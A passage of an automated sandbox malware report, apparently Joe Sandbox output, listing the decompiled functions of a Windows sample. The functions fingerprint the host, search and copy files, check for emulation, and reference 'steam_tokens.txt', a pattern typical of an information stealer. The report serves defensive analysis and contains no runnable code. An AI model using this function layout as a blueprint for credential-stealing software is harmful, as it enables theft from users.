Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,0248BC88), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576
Part of subcall function 004143F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0041458C
Part of subcall function 004143F0: DeleteFileA.KERNEL32(?), ref: 00414611

Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144E7

Strings

5\A, xrefs: 0041470F, 00414744, 0041477A, 004147AF, 004147E5, 0041481A, 0041483F, 00414712, 00414747, 0041477D, 004147B2, 004147E8, 0041481D

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 5\A
API String ID: 2104210347-3392445751
Opcode ID: 7acec38aa09870f1df2a2bf51e35445ccf0f5a962b85e7639e9d110e2309bbdf
Instruction ID: 53e7b7cde32fa2def73dba0ef3da04c4d4f6f11e0d96676858e1097c5765331f
Opcode Fuzzy Hash: 7acec38aa09870f1df2a2bf51e35445ccf0f5a962b85e7639e9d110e2309bbdf
Instruction Fuzzy Hash: 1441EBB660010467CB64FB64EC83EEE333DAB84304F40855EB94997191ED795ACD8BE6

Function 00417380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction ID: 42712b1d228129e2e67f3f866f9c43061177fb5da2658b34d54d74d13c44c576
Opcode Fuzzy Hash: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction Fuzzy Hash: BC0181B1A08608EBC710CF99DD45BEEBBB8FB04721F20021AF905E3690D7785945CBA5

Function 6C5A3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5A3095

Part of subcall function 6C5A35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C62F688,00001000), ref: 6C5A35D5
Part of subcall function 6C5A35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5A35E0
Part of subcall function 6C5A35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5A35FD
Part of subcall function 6C5A35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5A363F
Part of subcall function 6C5A35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5A369F
Part of subcall function 6C5A35A0: __aulldiv.LIBCMT ref: 6C5A36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A309F

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5A30BE

Part of subcall function 6C5A30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5A3127
Part of subcall function 6C5A30F0: __aulldiv.LIBCMT ref: 6C5A3140

Part of subcall function 6C5DAB2A: __onexit.LIBCMT ref: 6C5DAB30

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 7652b2b07070b95f457e38f3c29b51b2d7fdcefa6832b054756fe781511fc3f7
Instruction ID: 28c5886c79c98ed68545528f8921f23ad7d5b28c6b54648bcd6eb66a00b02b5d
Opcode Fuzzy Hash: 7652b2b07070b95f457e38f3c29b51b2d7fdcefa6832b054756fe781511fc3f7
Instruction Fuzzy Hash: 2DF0F932E20754D6CB10DF7A8CC1AEAB370EFAB118F511719E84563511FB2465D8838B

Function 00418F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
CloseHandle.KERNEL32(00000000), ref: 00418F4F

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction ID: 429e76ffcb292cc7325fe34a8c967f3e8a19cc1fb06d1469951f90a9fbb0bdee
Opcode Fuzzy Hash: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction Fuzzy Hash: 29F05E74A0020CFBDB14DFA4DD4AFEE7779AB08700F004498BB0997290D6B0AE85CB94

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction ID: 0e2e6d3d2f445679f77a7861b9af8e0e8f55b174cdb9f0aa425208459b8dc1b3
Opcode Fuzzy Hash: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction Fuzzy Hash: 3DE08670945308FBE7205FA09C0AB4D76689B04B05F105056F708BA1E0C6B82501865C

Function 00411520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00416FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
Part of subcall function 00416FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
Part of subcall function 00416FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
Part of subcall function 00416FA0: HeapAlloc.KERNEL32(00000000), ref: 004170AA

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 00417130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
Part of subcall function 00417130: HeapAlloc.KERNEL32(00000000), ref: 0041714B

Part of subcall function 00417260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,024A9BB0,00000000,?), ref: 00417292
Part of subcall function 00417260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,024A9BB0,00000000,?), ref: 00417299

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 00417420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
Part of subcall function 00417420: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
Part of subcall function 00417420: GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
Part of subcall function 00417420: wsprintfA.USER32 ref: 00417493

Part of subcall function 004174D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,024A9308,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
Part of subcall function 004174D0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,024A9308,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
Part of subcall function 004174D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,024A9308,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D

Part of subcall function 004175A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,024A9308,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 004175D5

Part of subcall function 00417630: GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
Part of subcall function 00417630: LocalAlloc.KERNEL32(00000040,?), ref: 00417699
Part of subcall function 00417630: GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
Part of subcall function 00417630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
Part of subcall function 00417630: LocalFree.KERNEL32(00000000), ref: 004177C2

Part of subcall function 00417820: GetSystemPowerStatus.KERNEL32(?), ref: 0041784D

GetCurrentProcessId.KERNEL32(00000000,?,024A9C70,00000000,?,00420DF4,00000000,?,00000000,00000000,?,024A93B0,00000000,?,00420DF0,00000000), ref: 00411B8E

Part of subcall function 00418F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
Part of subcall function 00418F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
Part of subcall function 00418F10: CloseHandle.KERNEL32(00000000), ref: 00418F4F

Part of subcall function 004178A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
Part of subcall function 004178A0: HeapAlloc.KERNEL32(00000000), ref: 004178DE
Part of subcall function 004178A0: RegOpenKeyExA.KERNEL32(80000002,02489F38,00000000,00020119,?), ref: 004178FE
Part of subcall function 004178A0: RegQueryValueExA.KERNEL32(?,024A9AD0,00000000,00000000,000000FF,000000FF), ref: 0041791F
Part of subcall function 004178A0: RegCloseKey.ADVAPI32(?), ref: 00417932

Part of subcall function 00417A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417A69
Part of subcall function 00417A00: GetLastError.KERNEL32 ref: 00417A78

Part of subcall function 00417970: GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
Part of subcall function 00417970: wsprintfA.USER32 ref: 004179B6

Part of subcall function 00417BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,024A91E8,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
Part of subcall function 00417BA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,024A91E8,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
Part of subcall function 00417BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C12
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C20
Part of subcall function 00417BA0: wsprintfA.USER32 ref: 00417C4C

Part of subcall function 00418260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
Part of subcall function 00418260: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
Part of subcall function 00418260: wsprintfA.USER32 ref: 004182F0

Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,0248C048,00000000,00020019,00000000,004205A6), ref: 00417E44

Part of subcall function 00417DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
Part of subcall function 00417DC0: wsprintfA.USER32 ref: 00417EF9
Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
Part of subcall function 00417DC0: RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
Part of subcall function 00417DC0: RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 00418120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Part of subcall function 00418120: Process32First.KERNEL32(?,00000128), ref: 0041817E
Part of subcall function 00418120: Process32Next.KERNEL32(?,00000128), ref: 00418193
Part of subcall function 00418120: FindCloseChangeNotification.KERNEL32(?), ref: 00418201

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041216B

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleLastLogicalMemoryModuleNextNotificationPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 869194160-0
Opcode ID: 210a1a3edd207b4315541268f111756b8ad613cb791d899b2367b2976105ea6e
Instruction ID: a9f6d0abc10a802bc737c54d14ff6b9d5e6ee0272f4c656d6212d3eaa4757419
Opcode Fuzzy Hash: 210a1a3edd207b4315541268f111756b8ad613cb791d899b2367b2976105ea6e
Instruction Fuzzy Hash: 8472A071851018AACB19FB91DC96EDEB33CAF24314F5042DFB51762051EF782B98CB6A

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction ID: a97aeec014860b7bcefe5a819602e0a11eb2ce5ea612e9d10357849f9a661301
Opcode Fuzzy Hash: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction Fuzzy Hash: 3E213174A04208EFEB04CF89D544BAEBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction ID: 456806d1e879ecad470b616e27b80e03465aa0a519357bc85acbc9acecad2077
Opcode Fuzzy Hash: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction Fuzzy Hash: 116127B4900209DFCB14DF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 00414BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024864E0,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(00000000,00000000,00420AB3,?,?,?,?,?,?,00415BEB,?), ref: 00414C0A

Strings

steam_tokens.txt, xrefs: 00414C1F

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
